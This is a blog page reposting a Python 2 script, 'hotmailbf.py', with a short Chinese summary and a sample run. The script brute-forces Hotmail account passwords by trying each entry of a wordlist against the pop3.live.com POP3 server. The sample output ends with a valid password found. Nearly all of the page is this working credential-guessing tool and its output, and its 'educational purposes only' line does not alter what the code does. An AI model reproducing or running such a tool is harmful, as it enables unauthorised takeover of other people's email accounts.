hotmailbf.py (hotmail account bruteforcer)

这是一个用于教育目的的Hotmail暴力破解脚本,由Gunslinger_编写,版本1.0,发布于2010年2月22日。该脚本使用Python编写,能够从指定的字典文件中读取密码尝试登录Hotmail账户。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Hotmail brute forcer
# programmer : gunslinger_
# Inspired by mywisdom
# This program is only for educational purposes only.

import sys, poplib, time

__Author__ = "Gunslinger_"
__Version__  = "1.0"
__Date__   = "Mon, 22 Feb 2010 13:13:43 +0700 "
log = "hotmailbrute.log"
file = open(log, "a")
counter = 0
face = '''
_           _                   _ _   _      __
| |__   ___ | |_ _ __ ___   __ _(_) | | |__  / _|
| '_ / / _ /| __| '_ ` _ / / _` | | | | '_ /| |_
| | | | (_) | |_| | | | | | (_| | | | | |_) |  _|
|_| |_|/___/ /__|_| |_| |_|/__,_|_|_| |_.__/|_|

Hotmail brute forcer
programmer   : %s
version      : %s
date release : %s
''' % (__Author__, __Version__, __Date__)

help = '''
Usage : ./hotmailbf.py -u [email] -w [wordlist]
Example : ./hotmailbf.py -u suckthedick@hotmail.com -w wordlist.txt
'''

for arg in sys.argv:
if arg.lower() == '-u' or arg.lower() == '--user':
email = sys.argv[int(sys.argv.index(arg))+1]
elif arg.lower() == '-w' or arg.lower() == '--wordlist':
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
elif arg.lower() == '-h' or arg.lower() == '--help':
print face
print help
file.write(face)
file.write(help)

#Change these if needed.
HOST = 'pop3.live.com'
PORT = 995

try:
preventstrokes = open(wordlist, "r")
words            = preventstrokes.readlines()
count          = 0
while count < len(words):
words[count] = words[count].strip()
count += 1
except(IOError):
print "/n[-] Error: Check your wordlist path/n"
file.write("/n[-] Error: Check your wordlist path/n")
sys.exit(1)
def definer():
print "-" * 60
print "[+] Email &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;: %s" % email
print "[+] Wordlist &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;: %s" % wordlist
print "[+] Length wordlist &nbsp;&nbsp; &nbsp;: %s " % len(words)
print "[+] Time Starting &nbsp;&nbsp; &nbsp;: %s" % time.strftime("%X")
print "-" * 60
file.write ("/n[+] Email : %s" % email)
file.write ("/n[+] Wordlist : %s" % wordlist)
file.write ("/n[+] length wordlist : %s " % len(words))
file.write ("/n[+] Time Starting : %s" % time.strftime("%X"))

def main(password):
global counter
sys.stdout.write ("[-] Trying : %s /n" % (password))
sys.stdout.flush()
file.write("[-] Trying : %s /n" % (str(password)))
try:
pop = poplib.POP3_SSL(HOST, PORT)
pop.user(email)
pop.pass_(password)
pop.quit()
print "[+] W00t w00t !!!/n[+] Username : [%s]/n[+] Password : [%s]/n[+] Status : Valid!" % (email, password)
file.write("[+] W00t w00t !!!/n[+] Username : [%s]/n[+] Password : [%s]/n[+] Status : Valid!" % (email, password))
sys.exit(1)
except Exception, e:
pass
except KeyboardInterrupt:
print "/n[-] Aborting.../n"
file.write("/n[-] Aborting.../n")
sys.exit(1)
counter+=1
if counter == len(words)/5:
print "[+] Hotmailbruteforcer 20% way done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done.../n")
file.write("[+] Please be patient.../n")
elif counter == len(words)/4:
print "[+] Hotmailbruteforcer 25% way done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on 1/4 way done.../n")
file.write("[+] Please be patient.../n")
elif counter == len(words)/2:
print "[+] Hotmailbruteforcer on 50% done..."
print "[+] Please be patient..."
file.write("[+] hotmailbruteforcer on halfway done.../n")
file.write("[+] Please be patient.../n")
elif counter == len(words):
print "[+] Hotmailbruteforcer done.../n"
file.write("[+] Hotmailbruteforcer done...!/n")

if __name__ == '__main__':
print face
file.write(face)
definer()
for password in words:
main(password.replace("/n",""))
main(password)

<pre>gunslinger@localhost:~/project/hotmail$ ./hotmailbf.py -u **CENSORED**@hotmail.com -w wordlist.txt

_ _ _ _ _ __
| |__ ___ | |_ _ __ ___ __ _(_) | | |__ / _|
| '_ / / _ /| __| '_ ` _ / / _` | | | | '_ /| |_
| | | | (_) | |_| | | | | | (_| | | | | |_) | _|
|_| |_|/___/ /__|_| |_| |_|/__,_|_|_| |_.__/|_|

Hotmail brute forcer
programmer : Gunslinger_

------------------------------------------------------------
[+] Email : **CENSORED**@hotmail.com
[+] Wordlist : wordlist.txt
[+] Length wordlist : 7
[+] Time Starting : 13:02:32
------------------------------------------------------------
[-] Trying : dsnadsa
[+] Hotmailbruteforcer 20% way done...
[+] Please be patient...
[-] Trying : dsadsa
[-] Trying : fdsafds
[+] Hotmailbruteforcer on 50% done...
[+] Please be patient...
[-] Trying : dsadsaf
[-] Trying : fasfsa
[-] Trying : dsadsad
[-] Trying : **CENSORED**
[+] W00t w00t !!!
[+] Username : [**CENSORED**@hotmail.com]
[+] Password : [**CENSORED**]
[+] Status : Valid!
gunslinger@localhost:~/project/hotmail$
</pre>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值